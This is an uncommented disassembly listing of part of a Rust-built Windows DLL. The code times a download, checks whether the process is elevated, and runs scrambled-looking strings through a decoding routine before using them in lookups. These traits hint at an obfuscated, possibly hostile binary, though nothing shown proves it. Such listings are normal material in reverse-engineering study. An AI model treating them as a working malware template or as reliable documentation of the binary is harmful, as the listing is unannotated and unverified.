lea rax, [0x180081690]
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
call fcn.18004cef0
test rsi, rsi
je 0x18000bd1c
lea rcx, [r15 + 0x130]
lea r8, str.srccommands.rs
mov rdx, rsi
call fcn.180007b49
mov rdi, rax
mov r15, rdx
lea rsi, [rbx + 0x6b8]
lea r14, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_srciomod.rs
test r15, r15
je 0x18000bcee
mov rax, qword [rbx + 0x178]
mov rcx, qword [rax + 0xc0]
mov rdx, rdi
mov r8, r15
call fcn.180044470
mov r12, rdx
mov qword [rbx + 0x6b0], rax
mov qword [rbx + 0x6b8], rdx
test rax, rax
je 0x18000bccc
mov rcx, r12
call fcn.180004a13
test al, al
je 0x18000bcfa
mov rcx, rsi
call fcn.18001ba3c
jmp 0x18000bc82
test r12, r12
je 0x18000e144
mov rcx, r12
mov rdx, rdi
mov r8, r15
mov r9, r14
call fcn.18000201b
mov rdi, rax
mov r15, rdx
jmp 0x18000bc82
mov r15, qword [rbx + 0x178]
jmp 0x18000bbcb
test r12, r12
mov r15, qword [rbx + 0x178]
je 0x18000bbcb
jmp 0x18000e14b
mov al, 4
mov byte [r13], al
mov al, 3
jmp 0x18000e0df
lea rsi, [rbx + 0x480]
and qword [rsi], 0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x18000e39a
mov rcx, qword [rbx + 0x480]
call case.0x18002c22f.339
mov r9, qword [r15 + 0x68]
mov r8d, dword [r15 + 0x70]
lea rdi, [rbx + 0x6b0]
mov qword [rdi], rax
mov dword [rdi + 8], edx
mov rcx, rdi
mov rdx, r9
call case.0x18002d08b.327
xor ecx, ecx
cmp edx, 0x3b9aca00
cmove edx, ecx
cmovne rcx, rax
mov qword [rbx + 0x480], rcx
mov dword [rbx + 0x488], edx
lea rax, [rbx + 0x180]
mov qword [rax], rsi
lea rcx, str.Downloaded_in
mov qword [rdi], rcx
mov qword [rdi + 8], 2
and qword [rdi + 0x20], 0
lea rcx, [0x1800291b0]
mov qword [rax + 8], rcx
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], 1
lea rcx, [rbx + 0x6b0]
call fcn.18004cef0
mov rcx, qword [r15 + 0xc0]
call sub.KERNEL32.dll_CloseHandle
lea rcx, [r15 + 0xe0]
call fcn.180006ff5
lea rcx, [r15 + 0x78]
call fcn.180006a0c
mov rcx, qword [r15 + 0x50]
mov rdx, qword [r15 + 0x58]
call case.0x180046113.1274
mov rcx, qword [r15 + 0x38]
mov rdx, qword [r15 + 0x40]
call case.0x180046113.1274
mov byte [r15 + 0xb8], 1
mov r13, qword [rbx + 0x90]
mov rcx, r13
call fcn.180007363
lea rsi, [rbx + 0x9a0]
mov rcx, rsi
call fcn.180066d5c
cmp byte [rsi], 0x12
jne 0x18000e3d9
lea rdx, [0x180081780]
lea rsi, [rbx + 0x9a0]
push 0xa
pop r8
mov rcx, rsi
call fcn.180066e8f
cmp byte [rsi], 0x12
jne 0x18000e404
mov r12, qword [rbx + 0x9a8]
lea rdi, [rbx + 0x6b0]
and qword [rdi], 0
call sub.KERNEL32.dll_GetCurrentProcess
push 8
pop rdx
mov rcx, rax
mov r8, rdi
call sub.ADVAPI32.dll_OpenProcessToken
push 2
pop rcx
push 4
pop rdx
call sub.KERNEL32.dll_GlobalAlloc
mov r14, rax
mov rcx, rax
call sub.KERNEL32.dll_GlobalLock
mov r15, rax
mov dword [rbx + 0x9a0], 4
mov rcx, qword [rdi]
mov qword [rsp + 0x20], rsi
push 0x14
pop rdx
push 4
pop r9
mov r8, rax
call sub.ADVAPI32.dll_GetTokenInformation
mov esi, dword [r15]
cmp qword [rdi], 0
je 0x18000bec1
mov rcx, r14
call sub.KERNEL32.dll_GlobalFree
mov r15, qword [rbx + 0x178]
lea rax, [r15 + 0xc0]
mov qword [rbx + 0x228], rax
cmp esi, 1
movabs rax, 0x8000000000000000
mov qword [r15 + 8], rax
mov qword [r15 + 0x20], rax
mov qword [r15 + 0x38], rax
mov qword [r15 + 0x50], rax
mov qword [r15 + 0x68], rax
mov qword [r15 + 0x80], rax
mov qword [r15 + 0x98], rax
sete byte [r15 + 0xb8]
mov qword [r15 + 0xb0], r12
mov qword [r15 + 0xc0], r13
lea r8, [r15 + 0x2b8]
mov byte [r15 + 0x2b8], 0
mov qword [rbx + 0xd0], r8
lea rdx, [0x18006dd70]
lea rcx, [rbx + 0x230]
push 0x25
pop r8
call fcn.180019144
cmp qword [r13 + 0xa8], 0
je 0x18000e27c
mov qword [rbx + 0x90], r13
lea rdx, [r13 + 0xa8]
lea rsi, [rbx + 0x9a0]
lea r8, [rbx + 0x230]
mov rcx, rsi
mov qword [rbx + 0xc0], rdx
call fcn.1800055b4
cmp byte [rsi], 0x12
jne 0x18000e288
lea rcx, [rbx + 0x9a8]
mov rax, qword [rcx]
mov r13, qword [rcx + 8]
imul r12, qword [rcx + 0x10], 0x30
lea rcx, [r12 + r13]
mov qword [rbx + 0x480], r13
mov qword [rbx + 0x490], rax
mov qword [rbx + 0x80], rcx
mov qword [rbx + 0x498], rcx
lea rsi, [r13 + 0x30]
lea r14, [rbx + 0x9a0]
test r12, r12
je 0x18000c05f
mov rax, qword [r13]
test rax, rax
je 0x18000c066
mov qword [rbx + 0x9a0], rax
mov rax, qword [r13 + 0x28]
lea rcx, [rbx + 0x9a8]
mov qword [rcx + 0x20], rax
movdqu xmm0, xmmword [r13 + 8]
movdqu xmm1, xmmword [r13 + 0x18]
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
lea rdi, [rbx + 0x180]
mov rcx, rdi
lea rdx, str.h:3Qu
push 4
pop r8
call fcn.180019144
mov rcx, r14
mov rdx, rdi
call fcn.180004816
test rax, rax
jne 0x18000c079
add r13, 0x30
mov rcx, qword [rbx + 0x180]
mov rdx, qword [rbx + 0x188]
call case.0x180046113.1274
mov rcx, r14
call fcn.1800063f9
add rsi, 0x30
add r12, 0xffffffffffffffd0
jmp 0x18000bfc8
mov rsi, qword [rbx + 0x80]
mov qword [rbx + 0x488], rsi
mov r14, qword [rbx + 0x90]
jmp 0x18000c137
mov qword [rbx + 0x488], rsi
lea rcx, [rbx + 0x1f0]
mov qword [rcx], rax
lea rax, [rbx + 0x340]
mov qword [rax], rcx
lea rcx, [0x180081490]
lea rdx, [rbx + 0x6b0]
mov qword [rdx], rcx
push 1
pop rcx
mov qword [rdx + 8], rcx
and qword [rdx + 0x20], 0
lea r8, [0x180066823]
mov qword [rax + 8], r8
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], rcx
lea rsi, [rbx + 0xe0]
mov rcx, rsi
call fcn.180008c30
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rdi, [rbx + 0x6b0]
mov rcx, rdi
call fcn.18000b2d0
mov r14, qword [rbx + 0x90]
mov rcx, qword [r14]
mov rdx, qword [r14 + 8]
call fcn.180007132
mov rax, qword [rdi + 0x10]
mov qword [r14 + 0x10], rax
movups xmm0, xmmword [rdi]
movups xmmword [r14], xmm0
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
call case.0x180046113.1274
mov rcx, qword [rbx + 0x180]
mov rdx, qword [rbx + 0x188]
call case.0x180046113.1274
lea rcx, [rbx + 0x9a0]
call fcn.1800063f9
lea rcx, [rbx + 0x480]
call fcn.1800065dd
lea rdx, [0x18006ddcc]
lea rcx, [rbx + 0x2e0]
push 0x35
pop r8
call fcn.180019144
mov rdx, qword [rbx + 0xc0]
cmp qword [rdx], 0
je 0x18000e2b6
lea r12, [rbx + 0x9a0]
lea r8, [rbx + 0x2e0]
mov rcx, r12
call fcn.1800055b4
cmp byte [r12], 0x12
jne 0x18000e2c2
mov rcx, qword [rbx + 0x9a8]
mov rax, qword [rbx + 0x9b0]
imul rdx, qword [rbx + 0x9b8], 0x30
add rdx, rax
mov qword [rbx + 0xe0], rax
mov qword [rbx + 0xe8], rax
mov qword [rbx + 0xf0], rcx
mov qword [rbx + 0xf8], rdx
lea rcx, [r14 + 0x18]
mov qword [rbx + 0xa8], rcx
lea rcx, [r14 + 0x30]
mov qword [rbx + 0xa0], rcx
lea r14, [rbx + 0x480]
lea r13, [rbx + 0x6b0]
mov qword [rbx + 0x88], rdx
cmp rax, rdx
je 0x18000c626
lea r8, [rax + 0x30]
mov rcx, qword [rax]
test rcx, rcx
je 0x18000c623
mov qword [rbx + 0x80], r8
mov qword [rbx + 0x480], rcx
mov rcx, qword [rax + 0x28]
lea rdx, [rbx + 0x488]
mov qword [rdx + 0x20], rcx
movdqu xmm0, xmmword [rax + 8]
movdqu xmm1, xmmword [rax + 0x18]
movdqu xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx], xmm0
lea rsi, [rbx + 0x1f0]
mov rcx, rsi
lea rdx, str.h:3Qu
push 4
pop r8
call fcn.180019144
mov rcx, r14
mov rdx, rsi
call fcn.180004816
test rax, rax
je 0x18000c4f4
mov qword [rbx + 0x440], rax
lea rax, [0x180081490]
mov qword [rbx + 0x6b0], rax
push 1
pop rcx
mov qword [rbx + 0x6b8], rcx
and qword [rbx + 0x6d0], 0
lea rax, [rbx + 0x440]
mov qword [rbx + 0x180], rax
lea rax, [0x180066823]
mov qword [rbx + 0x188], rax
lea rax, [rbx + 0x180]
mov qword [rbx + 0x6c0], rax
mov qword [rbx + 0x6c8], rcx
mov rcx, r12
mov rdx, r13
call fcn.180008c30
mov rsi, qword [rbx + 0x9a0]
mov rdi, qword [rbx + 0x9a8]
mov r8, qword [rbx + 0x9b0]
lea rcx, [rbx + 0x340]
mov rdx, rdi
call fcn.18000b2d0
mov rcx, rsi
mov rdx, rdi
call case.0x180046113.1274
mov rdx, qword [rbx + 0x348]
mov r8, qword [rbx + 0x350]
lea rcx, [rbx + 0x230]
push 0x22
pop r9
call fcn.180008c77
mov rdx, qword [rbx + 0x238]
mov r8, qword [rbx + 0x240]
mov rcx, r12
push 0x7c
pop r9
call fcn.180007734
mov rcx, r12
call fcn.18000a422
test rax, rax
je 0x18000e19d
mov rsi, rax
mov rdi, rdx
mov rcx, r13
call fcn.1800093a1
cmp qword [rbx + 0x6b0], 0
mov rcx, qword [rbx + 0x6b8]
jne 0x18000ee5b
mov r14, qword [rbx + 0x6c0]
mov qword [r14], rsi
mov qword [r14 + 8], rdi
mov qword [rbx + 0x180], rcx
mov qword [rbx + 0x188], r14
mov qword [rbx + 0x190], 1
push 9
pop rcx
mov rdi, r13
mov rsi, r12
rep movsq qword [rdi], qword [rsi]
push 0x18
pop r12
push 1
pop r15
mov rcx, r13
call fcn.18000a422
test rax, rax
je 0x18000c3e4
mov rsi, rax
mov rdi, rdx
cmp r15, qword [rbx + 0x180]
jne 0x18000c3cb
lea rcx, [rbx + 0x180]
call fcn.180008e2f
mov r14, qword [rbx + 0x188]
mov qword [r14 + r12 - 8], rsi
mov qword [r14 + r12], rdi
inc r15
mov qword [rbx + 0x190], r15
add r12, 0x10
jmp 0x18000c39c
test r15, r15
je 0x18000e19d
and qword [rbx + 0x9a0], 0
mov qword [rbx + 0x9a8], 1
and qword [rbx + 0x9b0], 0
mov qword [rbx + 0x6e0], 0x20
mov byte [rbx + 0x6e8], 3
and qword [rbx + 0x6b0], 0
and qword [rbx + 0x6c0], 0
mov rsi, qword [rbx + 0x180]
mov rdi, qword [rbx + 0x188]
lea r12, [rbx + 0x9a0]
mov qword [rbx + 0x6d0], r12
lea rax, fcn.180006f50
mov qword [rbx + 0x6d8], rax
mov rcx, rdi
mov rdx, r13
call fcn.18005f53d
test al, al
mov r15, qword [rbx + 0x178]
lea r14, [rbx + 0x480]
jne 0x18000e1e2
movups xmm0, xmmword [rbx + 0x9a0]
movaps xmmword [rbx + 0x180], xmm0
mov rax, qword [rbx + 0x9b0]
mov qword [rbx + 0x190], rax
mov rax, qword [rbx + 0x90]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rax + 0x20]
call fcn.180007132
mov rax, qword [rbx + 0x190]
mov rcx, qword [rbx + 0xa8]
mov qword [rcx + 0x10], rax
movdqa xmm0, xmmword [rbx + 0x180]
movdqu xmmword [rcx], xmm0
mov rcx, rsi
mov rdx, rdi
call fcn.180006f5f
mov rcx, qword [rbx + 0x230]
mov rdx, qword [rbx + 0x238]
call case.0x180046113.1274
mov rcx, qword [rbx + 0x340]
mov rdx, qword [rbx + 0x348]
call case.0x180046113.1274
mov rcx, qword [rbx + 0x1f0]
mov rdx, qword [rbx + 0x1f8]
call case.0x180046113.1274
lea rsi, [rbx + 0x180]
mov rcx, rsi
lea rdx, str.t_9___oJnr
push 0xe
pop r8
call fcn.180019144
mov rcx, r14
mov rdx, rsi
call fcn.180004816
test rax, rax
je 0x18000c5f5
mov qword [rbx + 0x340], rax
lea rax, [0x180081490]
mov qword [rbx + 0x6b0], rax
push 1
pop rcx
mov qword [rbx + 0x6b8], rcx
and qword [rbx + 0x6d0], 0
lea rax, [rbx + 0x340]
mov qword [rbx + 0x230], rax
lea rax, [0x180066823]
mov qword [rbx + 0x238], rax
lea rax, [rbx + 0x230]
mov qword [rbx + 0x6c0], rax
mov qword [rbx + 0x6c8], rcx
mov rcx, r12
mov rdx, r13
call fcn.180008c30
mov rsi, qword [rbx + 0x9a0]
mov rdi, qword [rbx + 0x9a8]
mov r8, qword [rbx + 0x9b0]
mov rcx, r13
mov rdx, rdi
call fcn.18000b2d0
mov rax, qword [rbx + 0x90]
mov rcx, qword [rax + 0x30]
mov rdx, qword [rax + 0x38]
call fcn.180007132
mov rax, qword [rbx + 0x6c0]
mov rcx, qword [rbx + 0xa0]
mov qword [rcx + 0x10], rax
movdqu xmm0, xmmword [rbx + 0x6b0]
movdqu xmmword [rcx], xmm0
mov rcx, rsi
mov rdx, rdi
call case.0x180046113.1274
mov rcx, qword [rbx + 0x180]
mov rdx, qword [rbx + 0x188]
call case.0x180046113.1274
mov rcx, r14
call fcn.1800063f9
mov rax, qword [rbx + 0x80]
mov rdx, qword [rbx + 0x88]
jmp 0x18000c1ec
mov rdx, r8
lea rsi, [rbx + 0xe0]
mov qword [rsi + 8], rdx
mov rcx, rsi
call fcn.1800065dd
lea rdx, [0x18006dec9]
lea rcx, [rbx + 0xcc8]
push 0x28
pop r8
call fcn.180019144
lea rdx, [0x18006df18]
push 4
pop r8
mov rcx, rsi
call fcn.180019144
lea rdx, [0x18006df1c]
push 0xf
pop r8
mov rcx, r14
call fcn.180019144
lea rdi, [rbx + 0x9a0]
mov qword [rdi], rsi
lea rax, [0x18006def8]
lea rdx, [rbx + 0x6b0]
mov qword [rdx], rax
lea rax, [0x180009509]
mov qword [rdi + 8], rax
push 2
pop rcx
mov qword [rdx + 8], rcx
and qword [rdx + 0x20], 0
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], rax
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], rcx
lea r14, [rbx + 0x180]
mov rcx, r14
call fcn.180008c30
mov rcx, qword [rbx + 0x480]
mov rdx, qword [rbx + 0x488]
call case.0x180046113.1274
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
call case.0x180046113.1274
mov r12, qword [r14]
mov rsi, qword [r14 + 8]
mov r14, qword [r14 + 0x10]
mov rcx, rdi
call fcn.180066d5c
cmp byte [rdi], 0x12
mov r13, qword [rbx + 0x90]
jne 0x18000e2f0
lea rdi, [rbx + 0xe0]
mov rcx, rdi
mov rdx, rsi
mov r8, r14
call fcn.180066e8f
cmp byte [rdi], 0x12
jne 0x18000c982
mov qword [rbx + 0xb8], rsi
mov qword [rbx + 0xa8], r12
mov rax, qword [rbx + 0xe8]
lea rdx, [rbx + 0x440]
mov qword [rdx], rax
lea rsi, [rbx + 0x9a0]
lea r8, [rbx + 0xcc8]
mov rcx, rsi
call fcn.1800055b4
cmp byte [rsi], 0x12
jne 0x18000e42f
lea rdi, [rbx + 0x9a0]
mov rax, qword [rdi + 8]
mov r12, qword [rdi + 0x10]
imul rdx, qword [rdi + 0x18], 0x30
lea rcx, [rbx + 0x340]
and qword [rcx], 0
mov qword [rcx + 8], 8
and qword [rcx + 0x10], 0
lea rcx, [r12 + rdx]
mov qword [rbx + 0x480], r12
mov qword [rbx + 0x490], rax
mov qword [rbx + 0x1e8], rcx
mov qword [rbx + 0x498], rcx
lea rsi, [r12 + 0x30]
push 8
pop rax
mov qword [rbx + 0xa0], rax
xor r15d, r15d
test rdx, rdx
je 0x18000c99a
mov rax, qword [r12]
test rax, rax
je 0x18000c9a3
mov qword [rbx + 0x80], rdx
mov qword [rbx + 0x9a0], rax
mov rax, qword [r12 + 0x28]
lea rcx, [rbx + 0x9a8]
mov qword [rcx + 0x20], rax
movdqu xmm0, xmmword [r12 + 8]
movdqu xmm1, xmmword [r12 + 0x18]
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
lea r14, [rbx + 0x230]
mov rcx, r14
lea rdx, str.B2_D_1svj_
push 0xb
pop r8
call fcn.180019144
mov rcx, rdi
mov rdx, r14
call fcn.180004816
test rax, rax
je 0x18000c94f
mov qword [rbx + 0x88], rsi
mov rsi, rdi
mov qword [rbx + 0x2e0], rax
lea rax, [0x180081490]
mov qword [rbx + 0x6b0], rax
push 1
pop rcx
mov qword [rbx + 0x6b8], rcx
and qword [rbx + 0x6d0], 0
lea rax, [rbx + 0x2e0]
mov qword [rbx + 0x1f0], rax
lea rax, [0x180066823]
mov qword [rbx + 0x1f8], rax
lea rax, [rbx + 0x1f0]
mov qword [rbx + 0x6c0], rax
mov qword [rbx + 0x6c8], rcx
lea rcx, [rbx + 0x180]
lea r14, [rbx + 0x6b0]
mov rdx, r14
call fcn.180008c30
mov r13, qword [rbx + 0x180]
mov rdi, qword [rbx + 0x188]
mov r8, qword [rbx + 0x190]
mov rcx, r14
mov rdx, rdi
call fcn.18000b2d0
cmp r15, qword [rbx + 0x340]
jne 0x18000c8fe
lea rcx, [rbx + 0x340]
call fcn.1800093df
mov rax, qword [rbx + 0x348]
mov qword [rbx + 0xa0], rax
mov r15, qword [rbx + 0x350]
imul rax, r15, 0x18
mov rcx, qword [rbx + 0x6c0]
mov rdx, qword [rbx + 0xa0]
mov qword [rdx + rax + 0x10], rcx
movdqu xmm0, xmmword [rbx + 0x6b0]
movdqu xmmword [rdx + rax], xmm0
mov r15, qword [rbx + 0x350]
inc r15
mov qword [rbx + 0x350], r15
mov rcx, r13
mov rdx, rdi
call case.0x180046113.1274
mov r13, qword [rbx + 0x90]
mov rdi, rsi
mov rsi, qword [rbx + 0x88]
add r12, 0x30
mov rcx, qword [rbx + 0x230]
mov rdx, qword [rbx + 0x238]
call case.0x180046113.1274
mov rcx, rdi
call fcn.1800063f9
add rsi, 0x30
mov rdx, qword [rbx + 0x80]
add rdx, 0xffffffffffffffd0
jmp 0x18000c7c3
mov rcx, qword [rbx + 0xcc8]
mov rdx, qword [rbx + 0xcd0]
call case.0x180046113.1274
jmp 0x18000ca3b
mov rax, qword [rbx + 0x1e8]
jmp 0x18000c9a6
mov rax, rsi
lea rcx, [rbx + 0x480]
mov qword [rcx + 8], rax
call fcn.1800065dd
lea rsi, [rbx + 0x340]
mov rdx, qword [rsi + 8]
mov qword [rsp + 0x20], 1
lea r9, str._____
lea rdi, [rbx + 0x6b0]
mov rcx, rdi
mov r8, r15
call fcn.180008f26
mov rcx, qword [r13 + 0x78]
mov rdx, qword [r13 + 0x80]
call fcn.180007132
mov rax, qword [rdi + 0x10]
mov qword [r13 + 0x88], rax
movdqu xmm0, xmmword [rdi]
movdqu xmmword [r13 + 0x78], xmm0
mov rcx, rsi
call fcn.18000703f
mov rcx, qword [rbx + 0x440]
mov rax, qword [rcx]
call qword [rax + 0x10]
cmp byte [rbx + 0xe0], 0x12
mov r15, qword [rbx + 0x178]
mov r12, qword [rbx + 0xa8]
mov rsi, qword [rbx + 0xb8]
je 0x18000ca47
lea rcx, [rbx + 0xe0]
call fcn.180006b2f
mov rcx, r12
mov rdx, rsi
call case.0x180046113.1274
lea rdx, [0x18006de5e]
lea rcx, [rbx + 0x340]
push 0x2a
pop r8
call fcn.180019144
mov rdx, qword [rbx + 0xc0]
cmp qword [rdx], 0
je 0x18000e31e
lea rsi, [rbx + 0x9a0]
lea r8, [rbx + 0x340]
mov rcx, rsi
call fcn.1800055b4
cmp byte [rsi], 0x12
jne 0x18000e32a
lea rsi, [rbx + 0x9a0]
mov rcx, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
imul rdx, qword [rsi + 0x18], 0x30
add rdx, rax
mov qword [rbx + 0x480], rax
mov qword [rbx + 0x490], rcx
mov qword [rbx + 0x498], rdx
lea rcx, [r13 + 0x60]
mov qword [rbx + 0xc0], rcx
lea rcx, [r13 + 0x48]
mov qword [rbx + 0xb8], rcx
pxor xmm8, xmm8
packuswb xmm8, xmm8
movdqa xmm11, xmmword [0x18006c5a0]
movdqa xmm12, xmmword [0x18006c5b0]
movdqa xmm13, xmmword [0x18006c5c0]
movdqa xmm14, xmmword [0x18006c5d0]
movdqa xmm15, xmmword [0x18006c5e0]
movdqa xmm7, xmmword [0x18006c5f0]
movdqa xmm9, xmmword [0x18006c600]
movdqa xmm10, xmmword [0x18006c610]
movdqa xmm6, xmmword [0x18006c630]
mov qword [rbx + 0xa8], rdx
cmp rax, rdx
je 0x18000d4a5
lea r8, [rax + 0x30]
mov rcx, qword [rax]
test rcx, rcx
je 0x18000d4a2
mov qword [rbx + 0xa0], r8
mov qword [rbx + 0x9a0], rcx
mov rcx, qword [rax + 0x28]
lea rdx, [rbx + 0x9a8]
mov qword [rdx + 0x20], rcx
movdqu xmm0, xmmword [rax + 8]
movdqu xmm1, xmmword [rax + 0x18]
movdqu xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx], xmm0
lea rdi, [rbx + 0x230]
mov rcx, rdi
lea rdx, str.b:U9nLc6432xeonu
push 9
pop r8
call fcn.180019144
mov rcx, rsi
mov rdx, rdi
call fcn.180004816
test rax, rax
je 0x18000ccb0
mov qword [rbx + 0x2e0], rax
lea rax, [0x180081490]
mov qword [rbx + 0x6b0], rax
push 1
pop rcx
mov qword [rbx + 0x6b8], rcx
and qword [rbx + 0x6d0], 0
lea rax, [rbx + 0x2e0]
mov qword [rbx + 0x1f0], rax
lea rax, [0x180066823]
mov qword [rbx + 0x1f8], rax
lea rax, [rbx + 0x1f0]
mov qword [rbx + 0x6c0], rax
mov qword [rbx + 0x6c8], rcx
lea rcx, [rbx + 0xe0]
lea rdx, [rbx + 0x6b0]
call fcn.180008c30
mov rsi, qword [rbx + 0xe0]
mov rdi, qword [rbx + 0xe8]
mov r9, qword [rbx + 0xf0]
mov r14, r15
mov r15, r13
lea r13, [0x18006dec1]
mov rcx, r13
push 2
pop r12
mov rdx, r12
mov r8, rdi
call fcn.180007ee4
test al, al
lea rdx, [0x18006dec3]
cmovne rdx, r13
mov r13, r15
mov r15, r14
lea rcx, [rbx + 0x6b0]
mov r8, r12
call fcn.180005a8c
mov rcx, qword [r13 + 0x60]
mov rdx, qword [r13 + 0x68]
call fcn.180007132
mov rax, qword [rbx + 0x6c0]
mov rcx, qword [rbx + 0xc0]
mov qword [rcx + 0x10], rax
movdqu xmm0, xmmword [rbx + 0x6b0]
movdqu xmmword [rcx], xmm0
mov rcx, rsi
lea rsi, [rbx + 0x9a0]
mov rdx, rdi
call case.0x180046113.1274
mov rcx, qword [rbx + 0x230]
mov rdx, qword [rbx + 0x238]
call case.0x180046113.1274
lea rdi, [rbx + 0x230]
mov rcx, rdi
lea rdx, str.h:3Qu
push 4
pop r8
call fcn.180019144
mov rcx, rsi
mov rdx, rdi
call fcn.180004816
test rax, rax
je 0x18000d474
mov qword [rbx + 0x2e0], rax
lea rax, [0x180081490]
mov qword [rbx + 0x6b0], rax
push 1
pop r15
mov qword [rbx + 0x6b8], r15
and qword [rbx + 0x6d0], 0
lea rax, [rbx + 0x2e0]
mov qword [rbx + 0x1f0], rax
lea rax, [0x180066823]
mov qword [rbx + 0x1f8], rax
lea rax, [rbx + 0x1f0]
mov qword [rbx + 0x6c0], rax
mov qword [rbx + 0x6c8], r15
lea rcx, [rbx + 0xe0]
lea rdx, [rbx + 0x6b0]
call fcn.180008c30
mov rsi, qword [rbx + 0xe0]
mov rdi, qword [rbx + 0xe8]
mov r8, qword [rbx + 0xf0]
lea rcx, [rbx + 0x180]
mov rdx, rdi
call fcn.18000b2d0
mov rcx, rsi
mov rdx, rdi
call case.0x180046113.1274
mov r12, qword [rbx + 0x188]
mov r14, qword [rbx + 0x190]
test r14, r14
je 0x18000d005
js 0x18000e21c
mov al, byte [0x18008b300]
xor ecx, ecx
mov rdx, r14
call fcn.180059d10
test rax, rax
movabs rdi, 0x8080808080808080
je 0x18000e221
cmp r14, 0x10
jb 0x18000d008
xor ecx, ecx
mov rdx, r12
mov r11, qword [r12 + rcx]
movdqu xmm0, xmmword [r12 + rcx]
pshufd xmm1, xmm0, 0xee
movq rdx, xmm1
mov r8, rdx
or r8, r11
test r8, rdi
jne 0x18000d00a
mov r8, r11
mov r9, r11
mov r10, r11
mov rsi, r11
shr r11d, 8
movd xmm1, r11d
shr rsi, 0x20
movd xmm2, esi
shr r10, 0x28
pshufd xmm3, xmm0, 0x44
movdqa xmm4, xmm0
psrlq xmm4, 0x10
psrlq xmm3, 0x18
movsd xmm3, xmm4
movdqa xmm4, xmm0
punpcklqdq xmm4, xmm1
movd xmm1, r10d
movapd xmm5, xmmword [0x18006c570]
andpd xmm3, xmm5
pand xmm4, xmm5
packuswb xmm4, xmm3
pshufd xmm2, xmm2, 0x50
movdqa xmm3, xmmword [0x18006c580]
pandn xmm3, xmm2
psllq xmm1, 0x28
movdqa xmm2, xmmword [0x18006c590]
pandn xmm2, xmm1
shr r9, 0x30
por xmm2, xmm3
movd xmm1, r9d
shr r8, 0x38
packuswb xmm4, xmmword [0x18006c680]
packuswb xmm4, xmm8
por xmm2, xmm4
psllq xmm1, 0x30
movdqa xmm3, xmm11
pandn xmm3, xmm1
movd xmm1, r8d
mov r8d, edx
shr r8d, 8
pand xmm2, xmm11
por xmm3, xmm2
pand xmm3, xmm12
psllq xmm1, 0x38
movdqa xmm2, xmm12
pandn xmm2, xmm1
por xmm2, xmm3
movd xmm1, edx
pshufd xmm1, xmm1, 0x44
movdqa xmm3, xmm13
pandn xmm3, xmm1
movd xmm1, r8d
mov r8d, edx
shr r8d, 0x10
pand xmm2, xmm13
por xmm3, xmm2
pslldq xmm1, 9
movdqa xmm2, xmm14
pandn xmm2, xmm1
movd xmm1, r8d
mov r8d, edx
shr r8d, 0x18
pand xmm3, xmm14
por xmm2, xmm3
pslldq xmm1, 0xa
movdqa xmm3, xmm15
pandn xmm3, xmm1
movd xmm1, r8d
mov r8, rdx
shr r8, 0x20
pand xmm2, xmm15
por xmm3, xmm2
pslldq xmm1, 0xb
movdqa xmm2, xmm7
pandn xmm2, xmm1
movd xmm1, r8d
mov r8, rdx
shr r8, 0x28
pand xmm3, xmm7
por xmm2, xmm3
pshufd xmm1, xmm1, 0
movdqa xmm3, xmm9
pandn xmm3, xmm1
movd xmm1, r8d
pand xmm2, xmm9
por xmm3, xmm2
pslldq xmm1, 0xd
movdqa xmm2, xmm10
pandn xmm2, xmm1
shr rdx, 0x30
pand xmm3, xmm10
por xmm2, xmm3
pand xmm2, xmmword [0x18006c620]
movd xmm1, edx
pslldq xmm1, 0xe
por xmm1, xmm2
pand xmm1, xmm6
movdqa xmm2, xmm6
pandn xmm2, xmm0
por xmm2, xmm1
movdqa xmm0, xmm2
paddb xmm0, xmmword [0x18006c640]
movdqa xmm1, xmm0
pminub xmm1, xmmword [0x18006c650]
pcmpeqb xmm1, xmm0
pand xmm1, xmmword [0x18006c660]
por xmm1, xmm2
movdqu xmmword [rax + rcx], xmm1
lea rdx, [rcx + 0x10]
add rcx, 0x20
cmp rcx, r14
mov rcx, rdx
jbe 0x18000cdd8
mov rcx, rdx
jmp 0x18000d00a
mov rax, r15
xor ecx, ecx
mov rdx, r14
sub rdx, rcx
mov qword [rbx + 0x88], rdx
lea rdi, [r12 + rcx]
mov qword [rbx + 0x6b0], r14
mov qword [rbx + 0x6b8], rax
mov qword [rbx + 0x6c0], rcx
add r12, r14
mov qword [rbx + 0x80], r12
mov rax, rdi
xor r15d, r15d
cmp rax, qword [rbx + 0x80]
je 0x18000d3e8
mov r9b, byte [rax]
movzx edx, r9b
test dl, dl
js 0x18000d05e
lea rsi, [rax + 1]
jmp 0x18000d0ca
mov ecx, edx
and ecx, 0x1f
movzx r10d, byte [rax + 1]
and r10d, 0x3f
cmp dl, 0xdf
jbe 0x18000d0af
movzx r8d, byte [rax + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x18000d0bd
movzx edx, byte [rax + 3]
and ecx, 7
shl ecx, 0x12
shl r8d, 6
and edx, 0x3f
or edx, r8d
or edx, ecx
cmp edx, 0x110000
je 0x18000d3e8
lea rsi, [rax + 4]
jmp 0x18000d0ca
lea rsi, [rax + 2]
shl ecx, 6
or ecx, r10d
mov edx, ecx
jmp 0x18000d0ca
lea rsi, [rax + 3]
shl ecx, 0xc
or r8d, ecx
mov edx, r8d
mov r13, r15
sub r13, rax
add r13, rsi
cmp edx, 0x3a3
je 0x18000d105
cmp edx, 0x110000
je 0x18000d3e8
cmp edx, 0x80
jae 0x18000d11f
lea eax, [rdx - 0x41]
xor ecx, ecx
cmp al, 0x1a
setb cl
shl ecx, 5
or ecx, edx
mov edx, ecx
jmp 0x18000d290
test r15, r15
je 0x18000d168
cmp r15, qword [rbx + 0x88]
jae 0x18000d162
